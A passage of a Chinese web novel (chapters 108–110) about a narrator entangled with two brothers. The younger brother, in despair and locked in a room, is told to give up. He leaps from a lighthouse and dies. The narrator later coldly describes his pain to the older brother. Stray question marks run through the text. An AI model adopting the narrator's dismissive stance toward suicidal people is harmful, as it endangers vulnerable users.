“小冬,需要我?去接你吗?” “嗯……” 我?看着泉越泽,他忽然蹲下来,握住我?的手指,然后慢条斯理地从另一个口袋又掏出一块干净的手帕,开始擦拭我?手腕上的血迹。 他到底带了多少块手帕? “今天可能不行。”我?说,“还有点事?没有解决。” “……伤害浦真?天的人,我?会亲自找到。” “我?也想。”我?说。 听筒那?边传来浅浅的呼吸声,似乎有椅子拖动?的声音,冰冷的风声呼啸而过。 “你见到泉卓逸了吗?” “嗯。” 而且他哥就在我?面前,我?用手勾住泉越泽的领带,他抬头看了我?一眼,两只手按在我?的腿边,深绿色的眼睛盯着我?。 这?根领带摸起来十分地顺滑,再扯出来一点就像是狗绳似的。 人类为什么戴领带呢?因为好?牵吗?还是为了在需要的时候,让别人有个地方可以抓? 上吊好?像也挺方便的…… “他的情况不稳定,能知道的消息太少了,如果从车祸那?天的司机查起,或许会简单一点。” 哥哥在电话?那?头分析,逻辑清晰,条理分明:“泉卓逸想要害的人……似乎是他的哥哥。” “你怎么知道的?” “因为利益关联,最近的这?起官司来得太快了。” 我?扯住领带,轻轻用力,泉越泽便向前倾身,放在两侧的手瞬间握紧。 他的呼吸很近,是热的。 房间里的空调太热,热得让人想要做点坏事?。 我?觉得泉卓逸的失控说不定也和空调温度有关,泉越泽就是个庸医,他懂什么治疗精神病,只会把泉卓逸往火里推。 说不定,他也是这?么想的。 我?把领带尾部捏住,轻轻压在面前的人嘴唇上,他的瞳孔收缩,任由我?将手指按在他的牙齿上,甚至张开了嘴。 这?幅模样……感觉训练十分有素啊。 “……” 电话?听筒那?边沉默下来。 “那?你什么时候想回来,只要给我?打电话?,我?都会来。” “最近天气不好?,注意?保暖。” 哥哥说完仍然没有挂断电话?,而是等着我?按下按键,等着我?做出最后的选择。 我?说:“好?。” 我?挂断了电话?,屏幕上有人的消息一闪而过,是个许久不见的名?字:柯觅山。 说实在的,我?都要忘记他了。 [柯觅山(还没打脸)]:你在哪? [柯觅山(还没打脸)]:我?知道医院的事?了,最近泉卓逸联系不到,如果你需要帮助,我?随时欢迎 [柯觅山(还没打脸)]:顺便,圣诞快乐 圣诞快乐后面还跟了个小小的圣诞树emoji。 我?看着屏幕上的字眼,问眼前呼吸粗重的人:“你说一个人好?久不联系,突然发节日快乐是什么意?思?” 泉越泽仍然咬着领带,额头上沁出汗珠,白睫轻颤,声音闷在布料里。 “说明他贱。”—— 作者有话说:窝今天也是准时了一回(挺胸) 啧啧的心思谁懂,觉得自己能掌控一切,但是很快就要被打脸了,这人是精英教育成功的产物,小时候被打不敢讨厌父母,就讨厌弟弟了,觉得弟弟占了好处还不努力,是个废物,完全不关心心理健康,觉得活着就可以了,反正也干不了大事,对拙拙叛逆的行为嗤之以鼻,看他回来觉得印证了自己的想法,更加地大爹了。 对小冬,他就是刚开始颜控,现在喜欢上了觉得自己可以争一下,反正和自己一起,顺便让拙拙死心,更加得劲,对于冬子身边的其他人不甚在意,唯一在意的是霍亦瑀,觉得是劲敌,想要控制冬子,但骨子里是个m,沉迷一下无所谓,反正要满足他的想法 冬子最喜欢做的就是满足一下,然后又立马打醒,好的,好的,非常好的 学哥时隔许久终于回来了,此人原本打算不在意了,结果听到消息又屁颠屁颠来了,他的戏份要开始了,这个入就是单纯的自尊心太高,放不下脸,觉得自己能救赎下冬子就来了[眼镜] 第109章 在大?宅睡了一晚, 我才?发现每间房的空调都?开得极高,明明是冬天,却硬生生烘出盛夏的气势,我怀疑蚊子在这能?提前过暑假。 昨天晚上, 我就被某种虫子给咬了。 吃早饭的时候, 泉越泽抬眼看我:“昨天晚上没睡好吗?” “你有两?个?眼睛的话, 一定可?以看出来吧。” 我抱怨道:“为什么?一点也不防虫!” “……植物太?多,又老又旧,很难驱得干净。” 他顿了下,低头喝了口咖啡, 放下杯子时,瓷器轻碰,发出清脆的声响:“晚上你可?以换个?房间。那间客房才?整理出来, 难免有小虫子。” “这个?家里最好的房间在哪里?” 昨天因为不想和人同床,我特意选了间看上去最气派的,结果成了蚊子的自助餐厅。 “是我那间。”他说得很自然,随即侧头对候在一旁的管家吩咐:“去收拾一下。” 在我们吃饭的整个?过程中, 仆人始终像警觉的鸟儿?般在附近无声盘旋,他们的视线时不时扫过桌面,即使不说话,那种被注视的感觉也吵得很。 我一边戳着盘子里的煎蛋, 一边想着自己该什么?时候走。 暂时还不想见到哥哥, 倒也不是因为什么?深刻的原因, 只是单纯觉得……无聊。 回家面对他, 他也说不出什么?话,总是陷入一种紧绷的沉默,自从浦真?天出事后, 他就这样,隔着一段距离不近不远地待着。 我懂他的心态,但不想戳破,甚至有点恶劣地想看看,这沉默究竟会维持到什么?时候,又会以何种方?式炸开。 我总是在做那个?点燃引信的人,这次,我打算安静地看戏,看一切能?发酵成什么?样子。 今天,我才?忽然清晰地意识到,浦真?天真?的从我的生活里消失了。 那个?在我无处炫耀厨艺时,默默出现、陪我折腾的人,好像一下子抽空了某块背景板。 他和我一样闲,而其他人,哥哥也好,别的谁也好,总好像有事在忙。 所以,为什么?浦真?天总能?有空呢? 这成了个?留给我的谜团。 早饭后,泉越泽要去处理工作,离开前,他告诉我,除了关?押泉卓逸的那间房,其他地方?我都?可?以去。 于是我成了这栋老宅的临时恶霸,想去哪就去哪。 先参观了他的卧室,和想象中一样,单调、整洁、乏味得像酒店样板间。 其他收藏室里堆着大?大?小小的藏品,都?蒙着一层若有若无的陈腐气息,和整栋别墅一样,光用鼻子闻,都?能?嗅出它的老。 泉卓逸被关?在二楼最角落的房间,站在楼下,我似乎能?闻到穿透墙壁飘来的、一丝甜腻到发闷的气息。 这老宅隔音差得出奇,但他很安静,一整晚既没哭也没闹,安静得仿佛不存在。 我四处转悠时,管家尽职地陪在身边,时不时发出些经?典台词,什么?好久没见少爷带朋友回来了…… 当我问他有没有看过最近爆火的狗血短剧时,他尴尬地捋了捋修剪整齐的胡子,找了个?借口快步走开。 这房子里充满了家族留下的痕迹。 属于他们父亲的画作见缝插针地挂在各处,可?惜我看不懂艺术,只觉得挺丑。 偶尔,还能?在不起眼的墙角,看到贴着的、字迹歪歪扭扭的道歉信,署名都?是泉卓逸,内容无非是因为某件没做好的事向母亲致歉。 我问管家:“泉越泽的呢?” 他瞥了眼光洁的墙面,压低声音:“大?少爷……什么?都?做得很好。” “所以一件错事也没犯过?” “……被撕掉了。”管家声音更轻,眼神?瞟向别处,“夫人去世后,就被大?少爷亲自清理干净了。” 看来,泉卓逸才?是个?老实人。 也可?能?,只是因为他后来不怎么?回家了。 管家显然深谙摸鱼之道,其他人也是。 房子这么?大?,我总能?在转角撞见偷闲的仆人。他们一见我,便手忙脚乱地假装忙碌,演技浮夸。 不得不说,在这里干活挺省心,只要泉卓逸不闹,泉越泽不折腾,这么?大?的宅子,睁只眼闭只眼,每天都?能?快乐摸鱼。 简直到了偷点东西都?不易被察觉的程度! 最后我溜达到宅子外,盯着那座废弃的灯塔看,它杵在那儿?,有种格格不入的突兀感,像一株被错误移植到寒冷地带的热带植物,透着股倔强的怪异。 墙皮剥落得厉害,露出底下暗红色的砖,它实在太?高,尖顶那根避雷针直直刺向灰蒙蒙的天空。 “所以当初为什么?要修这么?高的塔?站上去能?看到什么??”我问管家。 管家揣着手,眯眼望去:“或许……是因为高处风景不同吧,当年提的要求就是,一定要足够高。” “想看出区别,出门爬个山也行啊。或者直接把住的楼修高点。” 我想了想,又说:“还是城里方?便。” 背后传来汽车引擎由远及近的声音,我转头,看见一辆黑色轿车碾过湿漉漉的路面,停在大?门口。 下来的不是泉越泽。 是许久不见的柯觅山,他穿着一身黑,黑色风衣,黑西装,像只突然闯入的乌鸦,与这座灰扑扑的老宅形成鲜明对比。 他看到我,脚步顿在原地,然后才?迈步直直走过来。 他像是刚从某个?正式场合抽身,衣着严谨得一丝不苟,那条黑色领带让我想起泉越泽那条,不过,他的颜色更沉,更暗,几?乎要吸走周围所有的光。 “好久不见。” 他先开口,声音比记忆里沉稳了些:“我来拜访泉卓逸。” 管家立刻上前鞠躬,语气熟稔:“柯少爷,好久不见。二少在楼上,但情况仍不稳定,恐怕不便见客。” 柯觅山看了管家一眼,淡淡嗯了一声,目光转向我:“我今天刚好有空,稍坐一会儿?就走。” “你是来找我的吧。”我说。 旁边的管家迅速接话:“我去准备茶点。” 他说完便脚底抹油,溜得飞快。 柯觅山微微抿了下唇,看向我时,眼睛里有些闪烁不定的东西,像阳光下晃动的碎玻璃:“有些事,不用说破,彼此明白就好。” 我:“不明白。” 我往大?厅里走,他也跟了上来,浓重的甜姜气息涌入鼻腔里,我顺便往嘴里塞了口,回味依旧是辣的,在舌尖存在感十足。 “你想聊聊吗?最近发生的事……”他边走边说,语气试图放得随意。 “你开始当心理医生了?” 他嘴角勾了勾,露出一个?没什么?温度的、标准社交笑容:“是啊,最近对这方?面,有点兴趣。” “我觉得没什么?好聊的。”我说,“事情发生就发生了,为什么?要继续聊?” “所以你在乎吗?关?于那个?躺在病床上的人?” 我们一进来,原本在大?厅里擦拭摆设的仆人们便悄无声息地迅速散开,像一群被惊扰的小鱼。 “然后呢?”我看着他说。 柯觅山用一种我看不懂的复杂眼神?回望我,眉头微蹙:“你来泉家,不就是为了弄清楚这件事吗?” “差不多吧。” 我说:“不过还是因为我想出来,在家里待着没意思。” “我知道是谁做的事。”他说。 “我也知道,泉卓逸嘛。” “不只是他。” 柯觅山收回目光,转向墙壁上那幅巨大?的画作:“我从来就不喜欢这幅画,这个?家一直充斥着这种古怪的、让人透不过气的氛围。” “还有谁?”我问。 他看了我一眼,将手插进风衣口袋,身体向后靠了靠,轻轻吐出几?个?字:“距离你最近的人。” 我哦了一声。 这种早就知道的事情,一点惊喜也没有。 “你不惊讶?”他挑了挑眉。 “我早就知道了。” “……” 他看着我,脸上闪过一丝真?实的讶异,随即抿紧了唇,又转头看向那幅画,侧脸线条有些绷紧:“我还以为,你会更愤怒,或者至少……情绪激动一些。像你曾经?对我那样,用话像刀子,去刺伤某些人的心。” 我觉得他对我的认知有很大?偏差,我哪里像攻击性很强的人了?我明明与人为善。 “那是因为你先做了错事。”我老神?在在地说。 “我承认。” 他叹了口气,那点假笑彻底没了,露出些许疲惫:“当初遇见你时,我的确带着傲慢和偏见,而我也为这份偏见付出了代?价。” “那年,我被父母的事强行拽回国,不得不面对一堆烂摊子。” 他目光有些飘远,像是在回忆,“现在想想,那时候还是太?天真?,哪有什么?绝对的是非对错?很多时候,不过是立场和利益罢了。” 我看了他一眼。 他看了我一眼。 柯觅山抽了下嘴角,自嘲般地笑了笑:“想笑就笑吧。” 我没笑,我很有素质。 他的神?情似乎松懈了些,看上去比记忆里顺眼不少,在大?厅这片令人窒息的安静里站了一会,他的视线投向二楼,声音放得很轻:“你要选吗?” “选什么??” 他的目光转回到我脸上,像蜗牛缓慢伸出的触角,带着试探。 柯觅山的唇角重新?扬起,是个?更真?切些、却依旧让人捉摸不透的弧度:“旧的去了,新?的来了,你知道我在说什么?。泉越泽到底用什么?吸引了你?还是说……姓泉的,都?能?让你觉得有趣?” “他自己来的。”我说。 我只是不拒绝而已?。 柯觅山微微挑眉,唇角那点弧度拉平了,变成一声冷冷的轻哼:“倒真?没看出来,最是稳重得体的人,会做出这种事。” “你不也是吗?” 我偏头看他。他的头发在从高窗透下的寡淡光线里,泛着些微光泽。 他的眼中情绪复杂,我们呼吸着同一片陈旧空气,他却显得有些焦躁。 我的视线落在他系得一丝不苟的领带上,他也跟着低头看去,下意识抬手,松了松领结,动作有些急促,像是忽然感到呼吸不畅。 “你打算什么?时候离开这儿??”他问。 “很快吧。”我说,“这儿?也没什么?好玩的。” “……下次,你可?以叫我。” 他顿了顿,移开视线,看向窗外的庭院:“最近……我时间比较多。” 我看向他,他看了回来,眼神?碰了一下,又飞快闪开。 “我先走了。” 他收回视线,再次望向二楼,又不舒服似的摸了摸脖颈处的衬衫领口,那样子像是被什么?无形的东西勒住了喉咙,浑身不自在:“探望的礼物,我会让人放在桌上,等泉卓逸清醒些,麻烦转交给他。” “你不是讨厌他吗?” “……他也没有那么?讨厌。” 柯觅山说完,转身朝外走去,步伐很快,黑色风衣下摆划开一道利落的弧线。 他来去如一阵突兀的风,只留下桌上一个?包装简洁的礼盒。 我想了想,迈步上了二楼。 那扇房门口守着两?个?仆人,看到我,脸上立刻露出为难的神?色,因为泉越泽明确叮嘱过,我不能?进去。 我告诉他们:“我只是在门口,不进去。如果泉越泽问起,就说是我坚持的。” 他们面面相觑,犹豫片刻,还是退开了几?步,留出空间。 这扇门比昨天那扇看着更陈旧,深色木料上布满划痕和磨损,角落甚至有类似老鼠啃咬的痕迹,透着被长久忽视的破败。 我盯着门把手看了几?秒,抬手敲了敲门,然后干脆在冰凉的地板上席地而坐。 “你在吧。” 里面没有任何回应。但走廊尽头的窗户灌进呼啸的风声,外面天空阴沉得像一块浸满水的脏抹布,正酝酿着一场大?雨。 我撑着下巴,目光落在门缝底下,那里有一道被屋内灯光投射出的、瘦长而模糊的影子,微微晃动着,像风中烛火。 “柯觅山来给你送礼物了。”我对着门板说,“虽然你哥不让我见你,但我还是来了。” “我猜他送的不是什么?好东西,说不定是整蛊玩具,不过看他刚才?那表情,好像有点和解的意思,打算对你好点。” “现在,讨厌你的人又少了一个?。” 门缝下的影子晃动了一下,然后,那影子扩散开来,慢慢靠近,极轻的脚步声停在门后,几?乎被风声掩盖。 我说:“其实浦真?天以前也挺讨厌你的,不过后来他改了主意,甚至有点感激你。” “那天,他说要帮你最后一次,没想到真?可?能?就是最后一次了。” “其实吧,偏见这种东西,只要肯认真?相处,是不是就容易改变呢?他们以前不懂你,所以觉得你讨厌,现在他们好像懂了一点。” 我回想着柯觅山离开前那副别扭又故作轻松的样子:“不过现在的态度,更像是在可?怜。” “……我不需要可?怜。” 门后的声音沙哑得像砂纸磨过喉咙,艰难地挤出来。 “他们也知道。”我说,“但怜悯是单方?面的。” “那你为什么?不离开?” 隔着厚重的门板,他的声音像是从很深的水底传来,但其中翻涌的浓烈情绪,即使看不到他,我也能?够通过鼻子来闻,耳朵来听他的情绪。 是厌恶、痛苦、恨意还是高兴呢? 他情绪激动地说:“为什么?要留在这里,因为他像条狗一样不要脸地舔你的模样很爽吗?还是因为他能?给你那些我做不到的东西?” “你走吧……求你了,离开我的世界吧……” 他的声音越来越低,被哽咽切割得支离破碎,但很快又被他自己更激烈地反驳:“不……不要走!你留下来吧,就算是他也好,谁都?好……只要留下来……” “别不要我……求你了。” 就在这时候,那个?不属于这个?世界的声音在我脑子里响起来。 “你要听从这种人类的话吗?” 天使的声音依旧平稳得不带感情:“像他这样的存在,你的决定会受他影响吗?” 我没理他,因为他只会点评,一点有用的建议都?提不出来。 “这个?人类正在被自己的执念吞噬。”他评价道,“他得不到渴望的爱。” 我:“那好,你来给他爱呗?” “你们天使不是最擅长这个?了吗?” 天使沉默了一下,然后说:“我的爱是你的食物,不能?分给其他东西。” 果然没用! 我叹了口气。 这种问题注定无解,向我索求爱?我真?的做不到,还不如让去解道数学题,或者用其他更具体的问题把此刻糊弄过去。 人不是很擅长用新?问题覆盖旧问题吗? 只是泉卓逸,他总是固执地揪着真?相和纯粹,永远不愿意用哪怕虚假的安慰来麻痹自己,或许他用了,但是失败了。 该夸他吗?还是该说他这永无止境的、近乎自毁的渴求本身就是错的? 我觉得没有标准答案。 渴求本身有什么?错呢?人类从诞生那一刻起,不就一直在渴求着什么?吗?反正七宗罪是对的。 “其实吧。” 我对着门后说,“我不是这个?世界的人,严格来说,我算个?外星人,总之最后我是要离开这里的,你就当我是回母星了。” 门后一片死寂。 我翻找着记忆,想起很久以前,在摩天轮那个?小小的、悬空的玻璃厢里。 他也像现在这样,低着头,整个?人薄得像一片随时会碎裂的玻璃,固执地停留在某个?过去的节点,不肯往前。 “我知道我哥也参与了这件事,你不用把所有的错都?揽到自己身上,至少不用对我这样,车祸嘛……是挺冷的,不过那个?场景,仔细想想还挺炫酷。” “在漫天大?雪烤火,如果拍成电影,应该是个?挺重要的转折情节吧。” 我说:“爱什么?的,我给不了你,我什么?都?给不了你,痛苦也是,我不想再刻意制造或者欣赏你的痛苦了,看到你痛苦,已?经?不能?让我觉得有意思,因为它重复了太?多遍,像一块被嚼到没味的口香糖。” “你哥说得对,我们待在一起,你永远好不了,你应该离开我,离得远远的,去做点真?正自己想做的事,不是为我,而是为你自己。” “你一次次回到我身边,痛苦的永远是你自己,所以我有时候真?的搞不懂,吸引你的到底是我,还是这份因我而生的痛苦本身。” “如果非要真?的在一起试试才?能?知道答案……好像也做不到吧。”我顿了顿,“不管到哪里,总会有其他人出现,而且,你好像也赶不走他们。” 门后传来极力压抑却还是漏出来的、低低的啜泣声,声音迷茫又破碎,从门缝里钻出来,掉进我的耳朵:“可?是我离不开你……不管我怎么?挣扎,你永远在我脑子里,在我心脏里……太?痛苦了,不管怎么?样都?——” “那就跨过去。” 我打断他,只是陈述:“离开这个?让你窒息的环境,往前迈一步,就一步,之后可?能?会容易很多。” “放弃这种事,你以前不是也做过吗?” “……” 他的喘息声陡然加重,带着濒临崩溃的颤音,最后,他问,声音轻得像羽毛:“比起我,浦真?天是不是更能?留在你身边?” 我想了想,没有撒谎:“对。” 门后,再也没有任何声音传出来。 我将柯觅山留下的那个?礼盒,轻轻从门缝底下推了进去,然后站起身,拍了拍裤子,离开了。 外面开始下起淅淅沥沥的小雨,泉越泽回来时,小雨已?转成瓢泼大?雨。 他一边脱下被雨打湿的外套递给仆人,一边问,语气听不出情绪:“你去见了泉卓逸?” “只是在门口说了几?句话。” 他唇角拉平,没再多问,安静地坐下享用晚餐。 磅礴的雨声统治了夜晚,整座大?宅每个?角落都?充斥着雨水敲打屋顶、窗户、地面的嘈杂声响,无孔不入。 泉越泽的脸色在昏暗灯光和连绵雨声中,显得比平时更苍白几?分,用餐时也比平日更沉默。 晚上,我换到了大?宅最好的房间,床铺干净整洁,触感嘛,比我自己那张还是差了点意思。 哥哥发来消息,问我什么?时候回去。 我回复明天,事情差不多解决了,待在这里一点也不好玩,没有高科技,只有老人味的房子。 我正躺在床上刷着狗血短剧嘿嘿直乐时,宗朔的消息蹦了出来,抱怨他被颜升和邛浚两?个?人纠缠得快疯了。 我真?诚地恭喜了他。 屋外的雨声越来越狂暴,几?乎要淹没一切,敲门声响起时,我一开始没反应过来,等那声音固执地响了好几?下,我才?意识到不是雨声。 打开门,泉越泽站在门外。他换了丝绸睡衣,深色,领口微敞,露出一小片锁骨,脸色在走廊壁灯下显得有些苍白。 “我来拿点东西。”他说。 但他进来后,却没有走向任何抽屉或柜子,反而在床边的单人沙发上坐下了,手指无意识地摩挲着扶手。 我盯着他看,认真?地问:“你是不是不敢一个?人睡?” “……只是有点轻微的恐慌症,特定的天气容易引发。” 我说:“你们家真?该集体去精神?病院挂个?号。” 有病就治,全是庸医自诊。 他纠正道,目光没有看我,而是落在窗外被雨水模糊的黑上:“只是小时候被关?禁闭留下的心理阴影,不算严重。” 我敷衍地嗯了一声,倒回床上,继续看我的手机。 他就在坐着,像一尊紧绷的雕塑。 沉默在房间里蔓延,只有他身上散发出的、那种复杂浓烈的情感气息,和窗外的暴雨一样存在感十足。 我一边咔哧咔哧地吃,一边刷着视频。 “要一直无视我吗?” 他的声音低低地传来,几?乎被雨声盖过。 我抬起头,他不知何时已?经?站到了床边,俯身看我。 窗外的闪电适时亮起,一瞬间照亮他棱角分明的脸,又迅速暗下去,雷鸣滚滚而来。 他低头,温热的呼吸拂过我的耳朵:“我知道柯觅山今天不是为了泉卓逸而来,他那点心思在我看来太?过幼稚直白。” “那你想怎么?样?” 我能?感受到他加速的心跳,透过睡衣薄薄的布料传递过来,那节奏,似乎不只是因为窗外的雷声。 “我不喜欢被动等待,也不喜欢……输。”他的声音低沉下去,最后一个?字几?乎含在唇齿间。 吻落了下来,带着不容置疑的温热和一丝急促。 窗外的暴雨雷鸣仿佛成了遥远的背景音,取而代?之的是逐渐交织的呼吸和衣物摩擦的窸窣声。 雨下了一整夜。 第二天起床,我神?清气爽,在泉越泽醒来之前,我就收拾好了自己那点东西,然后通知他。我要回去了。 他靠在床头,反应了半晌,才?消化完这个?消息,脸色明显沉了沉,透出些不虞,但终究没说什么?,只是沉默地起身,换好衣服,吩咐管家准备早餐。 我飞快地解决了早餐,走到大?宅门口,等哥哥来接。 泉越泽语气僵硬地问:“你已?经?都?弄明白了?我还没让他给你一个?交代?。” “已?经?解决了。”我说,“至于为什么?,不重要了。” “你原谅他了?”他追问。 “对啊。” 我看向门外,大?雨洗刷后,空气清冷干净,地面上积着大?大?小小的水洼,倒映着蔚蓝的天空。 昨日下了大?雨,今天是个?无比透亮的晴天。 阳光耀眼,但气温很低,远处的山脉浸没雾里,若隐若现。 泉越泽走到我身边,默不作声,也跟我一起看着地上的水洼倒影。 “这路真?该修修了。”我评价道,“坑坑洼洼的。” “知道了。” 他语气生硬:“明天就叫人过来。” “你为什么?不搬走?”我问,“换个?地方?住,对你和泉卓逸都?好。” “……习惯了。”他简单地回答。 泉越泽的目光从水洼移到我脸上,眼睛清晰地映着我的影子,与昨夜暴雨中的失神?不同,恢复了平日的冷静,白睫微颤。 “小冬——!” 就在此时,一声呼喊远远传来。 不是来自门口,不是来自路边,而是来自……上方?。 我下意识抬起头,视线循着声音抬高,掠过斑驳的墙壁,掠过枯藤,最终,定格在那座废弃灯塔的顶端。 在那个?狭小的、原本可?能?是瞭望口的窗洞处,一道身影扶着边缘,探出小半身子,他穿着单薄的衣服,衣摆在寒风里飘动。 距离太?远了,我看不清他的表情,他似乎是在笑,嘴角咧开,但又像是在哭。 下一秒,那道身影没有任何犹豫,向前一倾,像一片被风吹落的白色羽毛,从高高的塔尖笔直地砸向地面。 砰! 沉重闷响的声音证明了他不是羽毛。 柠檬的气息掩盖了血腥味,空气瞬间成分复杂。 有人猛地弯下腰,控制不住地干呕起来,发出痛苦的嗬嗬声。 几?乎在同一瞬间,一只温暖而略带颤抖的手,从旁边伸过来,用力捂住了我的眼睛。 视线陷入一片黑暗。 熟悉的、带着柠檬气息的怀抱将我往后带了一步。哥哥的声音在我头顶响起,沙哑得厉害,只剩下气音:“……别看。”—— 作者有话说:终于写到了,总之啧啧该炸了,他原本是打算刺激拙拙的,但没想到会过激成这样,拙拙半夜偷跑,雨声太大,没人听到 至于拙拙死没死……嗯,感觉写死他是对他好诶,还在纠结中……! 啧啧经过这次又该ptsd了,看到冬子就会想起拙拙跳楼,下一章也该下线了(再扇一巴掌) 第110章 我又来医院了。 泉越泽站在?我对面的墙边, 背脊挺得笔直,像一根绷到极致的弦,哥哥则沉默地立在?我身旁,一只手无意识地搭在?我肩上?。 医生?和护士在?走廊里?来去匆匆, 脚步声杂乱, 推车碾过地面, 轮子发出沉闷的滚动?声,上?面堆着染血的纱布和废弃的医疗器械。 来来往往,显得很热闹。 今天早上?,泉卓逸从废弃的灯塔上?一跃而下, 我还没看清楚他的模样,就被哥哥遮住眼睛,只能听到泉越泽抑制不住的呕吐声。 全然没有风度, 呕吐声十分的清晰。 此时站在?对面,他的脸色苍白,眼皮神经?质地抽动?着,用?手掩盖住口鼻, 似乎能够闻到什么气味,处于一种稍微有风吹草动?就会浑身警戒的状态。 哥哥轻轻拉了下我的衣袖,指了指手机屏幕,示意他去旁边接个电话, 然后转身走向走廊尽头的窗户。 紧闭的抢救室门外, 只剩下我和泉越泽。 “你的助理?呢?”我问。 泉越泽:“……在?公司里?。” 他一个人孤零零地站在?这里?, 失魂落魄, 平日里?那种谁都管不到我的气势荡然无存。 “昨天。”他脸色苍白地看向我,“你和他说了什么?” 我:“我劝他放弃而已。” 而泉越泽紧盯着我,深绿色的眼睛里?怀疑地颤抖着, 手紧紧地握住手帕,脖子上?凸起青筋,咬牙切齿地说:“我说过了,不要去找他,为什么——” “其实你是知道的吧。” 我打断他说:“让我见他,你知道他的情绪会过激,所以现在?是在?向我发火吗?” “罪魁祸首明明是你,为什么要做出一副无辜的模样?” 我有点厌烦了,但他情绪激动?地往我面前迈了一步,“我只是想说在?那个时候不要去见他,至少……在?那个时候不行。” “所以呢?”我抬眼看他,“要我把他复活吗?抱歉,我没有超能力。” “或许你可以让那些仆人给你复述下我们的对话。” 他眼中?闪过极其复杂的情绪,紧盯着我时,手臂不自然地颤抖着,手指捏紧又松开,最终垂下眼帘,白睫像帘子般遮住了眼睛。 “你不敢看我吗?”我说。 他倏地抬起眼睛,但仅仅与我对视了几秒,就猛地别过头,喉咙里?发出压抑的咕噜声,条件反射般地又开始干呕,肩膀剧烈耸动?。 他一定看得清清楚楚。泉卓逸坠落的全过程,包括最后那一下挥手,他想让我也看清楚,只可惜哥哥来得太快。 “其实你们还挺像的。” 我看着他那副狼狈又强撑的样子,开口道,“在?逃避现实和固执己见这方面,还有这种以自我为中?心……你和他,没什么本质区别。” “我只不过想让他放弃,结果?他竟然选择了这种方式。” 我叹了口气,“人可是不能飞的,从那么高跳下来是什么感觉?肯定很痛吧,我好像听到他的呻。吟了。” “不要说了!” 泉越泽猛地拔高音量,额头上?瞬间沁出更多?冷汗,嘴唇颤抖,“……别再描述了。” “那就按他希望的来吧。”我看着他说,“你也不要再接近我了。” “这几天我玩得还算开心,不过结局不太美?妙,你知道的,你之前劝他的话,放在?你自己身上?,也同?样适用?。” 他僵在?原地,一动?不动?,像一尊骤然风化?的石像,手似乎想抬起来拉住我,却痉挛着停在?半空。 汗珠顺着挺直的鼻梁滑下,滴落在?地面。他最后深深地看了我一眼。 就在?这时,抢救室的门咔哒一声开了。 表情凝重的医生?走出来,对着泉越泽,缓缓摇了摇头。 泉越泽脸上?最后一点血色也褪尽了,他猛地弯腰,再也无法控制,对着旁边的垃圾桶剧烈地呕吐起来,仿佛要把五脏六腑都吐空。 我没再停留,转身,正好迎上?打完电话回来的哥哥,我拉着他离开了医院。 他把车停在?了医院停车场,这次没带司机。 我原本习惯性?地走向副驾驶,手搭上?门把手的瞬间,想起上?次车祸的经?历,动?作顿了顿,转身拉开了后座的门。 哥哥在?原地愣了下,什么也没说,只是沉默地钻进驾驶室。 这辆车是崭新的,线条流畅,内饰高级,摸上?去的质感和浦真天那辆不同?,座椅更柔软,伸手就能碰到旁边储物格里?备好的矿泉水和饮料。 车辆平稳启动?,驶离医院,朝着家的方向开去。 窗外的街景飞速后退,车内安静得只剩下引擎低沉的嗡鸣。 “……小冬。” 哥哥低低地开口,声音有些干涩,“我们……应该谈谈。” 我正看着手机屏幕上?弹出来的、来自霍亦瑀的新消息,随口应道:“好巧哦,还有个人也说想和我谈谈。” 后视镜里?,他的眼睛迅速瞥了我一眼,又很快移开,重新聚焦在?前方,握着方向盘的手指不断收紧。 [Y.Y]:我们谈谈吧 [Y.Y]:医院那边的消息被我压下去了,不会外传 [世界第?一恶魔大人]:你有空吗? [Y.Y]:只要你有 [世界第?一恶魔大人]:等我找个时间吧,好多?人想找我聊聊,不过聊完的效果?好像都不太好 [Y.Y]:…… [Y.Y]:我有时候真的不懂你在?想什么,那些人是排在?我前面的吗? [Y.Y]:这么久了,你还在?想那个浦真天? 我也不懂他在?说什么谜语。 [世界第?一恶魔大人]:申请中?译中? [Y.Y]:没事 [Y.Y]:等时机到了,我会去接你 放下手机,我抬起眼,正好对上?了哥哥从后视镜里?看来的视线。 那双黑沉沉的眼睛一眨不眨地盯着我,一声不吭。 “你最近不是很忙吗?”我问。 哥哥摇摇头,手指在?方向盘上?又收紧了些,只吐出两个单薄到几乎没有重量的字眼:“不是。” 我看着窗外飞速掠过的、千篇一律的城市风景,撑着下巴,叹了口气:“总感觉越来越无聊了……所有人都是。” “该说话的时候闭紧嘴巴,非要等我来撬,还是说,你们在?背着我玩什么不能告诉我的游戏?你和浦真天,到底背着我偷偷做了多?少事?以前不是说过,要做一家人吗?” 哥哥低声说:“……不是那样的。” “我知道。”我说,“在?知道浦真天出事的时候,其实你心里?有一点开心吧。” “在?难过的时候,又偷偷松了口气,在?痛苦的时候,其实感受到了快乐。” 我歪着头,认真思考这个学术问题:“这到底是一种什么情绪呢?真复杂。” “小冬……不、不是这样的!”他像是被针扎到,呼吸骤然变得急促,手指用?力到几乎要嵌进方向盘里?。 我盯着他那只用?力到颤抖的手,忽然开口:“如?果?现在?出车祸的话,以这车的安全性?,我应该还能活下来。” “……” 哥哥猛地抬起头,略长的发丝散乱地垂落,遮挡住部分眼睛。 一种浓黑得化?不开的情绪,像是从他身体内部涌出的冰冷烟雾,渐渐弥漫开来,几乎要遮掩住他整张脸。 他看起来像个陌生?人,唯一还闪烁着微光的眼睛,也正逐渐失去焦距,变得空洞,像一个被突然抽走灵魂的躯壳。 天使:“他要被你玩坏了。” “你从哪里?学来这种词的?!” 我大惊:“你是不是偷偷通过我的眼睛,看了什么不该看的东西?” “什么是不该看的?” 天使的声音听起来一如?既往的平稳:“只要是你看得到的,我都看得到,我们之间没有什么好隐藏的东西。” “随便你吧。”我耸耸肩。 他沉默了几秒,忽然问:“……你喜欢这个人类吗?” “你对他,是不同?的。” 我没直接回答,而是反问:“那个口口口口呢?” 天使语气毫无波澜:“已经?死了,在?袭击你之后,他选择了自爆,化?成灰烬,彻底消失了。” “我还以为……他是在?假扮你。”我喃喃道。 “原来真的死了啊。” 也不知道他当初把我推进时空裂缝,究竟是想做什么,那张隐约要崩坏的脸上?,在?最后时刻,竟然流出了眼泪。 他恨我吗?泉卓逸在?纵身一跃的瞬间,是不是也怀着同?样的恨意呢? 我不知道。 那浦真天呢?他当时又在?想什么? 死亡就像一个粗暴的句号,让一切戛然而止。 我隐约有点明白什么叫留白了,死亡总能让人联想到好多?事,即使不再有后续,也能强行给人留下大片大片的、充满各种可能性?的遐想空间。 天使恢复了安静,哥哥仍然盯着前方,神情恍惚,灵魂仿佛飘到了别处。 